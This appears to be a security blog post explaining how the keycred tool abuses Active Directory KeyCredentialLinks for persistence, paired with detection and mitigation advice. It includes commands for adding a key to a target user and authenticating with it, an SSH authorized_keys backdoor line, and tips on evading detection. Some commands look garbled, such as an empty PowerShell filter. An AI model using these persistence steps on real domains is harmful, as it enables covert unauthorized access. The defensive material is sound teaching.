Listen to this Post
KeyCredentialLinks are essential in Active Directory (AD) environments for persistence and lateral movement. The keycred tool by RedTeamPentesting allows attackers (or defenders testing security) to generate and manage these links, which can be abused to maintain access even after credentials are rotated.
You Should Know:
1. What Are KeyCredentialLinks?
KeyCredentialLinks are part of Microsoft’s Windows Hello for Business and Device Registration Service. Attackers can exploit them to:
– Backdoor accounts by linking malicious keys.
– Maintain persistence even after password changes.
– Perform lateral movement by abusing device registrations.
2. Installing and Using `keycred`
Clone the repository:
git clone https://github.com/RedTeamPentesting/keycred.git cd keycred
Compile it (requires Go):
go build
3. Generating a KeyCredentialLink
To generate a new key for persistence:
./keycred generate -u target_user -d target_domain -p password -s domain_controller
This creates a new KeyCredentialLink for the user.
4. Abusing KeyCredentialLinks for Persistence
Once a key is added, an attacker can authenticate using:
./keycred auth -u target_user -d target_domain -k private_key_file
5. Defensive Measures
Detect malicious KeyCredentialLinks with PowerShell:
Get-ADUser -Filter -Properties KeyCredentialLink | Where-Object { $_.KeyCredentialLink -ne $null }
Remove suspicious keys:
Set-ADUser -Identity target_user -Clear KeyCredentialLink
6. Linux Equivalent for Key-Based Attacks
In Linux, similar attacks involve SSH key persistence:
Add malicious SSH key echo "attacker_public_key" >> ~/.ssh/authorized_keys
Detect unauthorized keys:
cat ~/.ssh/authorized_keys
7. Mitigation Strategies
- Monitor AD changes (Event ID 4738 for user modifications).
- Restrict KeyCredentialLink permissions to admins only.
- Use LAPS (Local Administrator Password Solution) to limit lateral movement.
What Undercode Say
KeyCredentialLinks are a powerful yet often overlooked attack vector. Red teams use them for stealthy persistence, while blue teams must monitor AD object changes closely. Tools like `keycred` highlight the importance of hardening authentication mechanisms.
For defenders:
- Log and alert on unexpected KeyCredentialLink additions.
- Regularly audit AD for suspicious keys.
- Disable unnecessary features like Windows Hello if unused.
For attackers (ethical only):
- Test environments before real engagements.
- Rotate keys to avoid detection.
- Combine with other techniques like Golden Tickets for maximum impact.
Expected Output:
[+] KeyCredentialLink successfully added for user: target_user [+] Authentication via KeyCredentialLink successful
Reference:
Prediction
As Microsoft enhances security in traditional credential theft, attackers will increasingly abuse KeyCredentialLinks and similar AD features for persistence. Expect more tools like `keycred` to emerge, making defensive monitoring even more critical.
References:
Reported By: Florian Hansemann – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
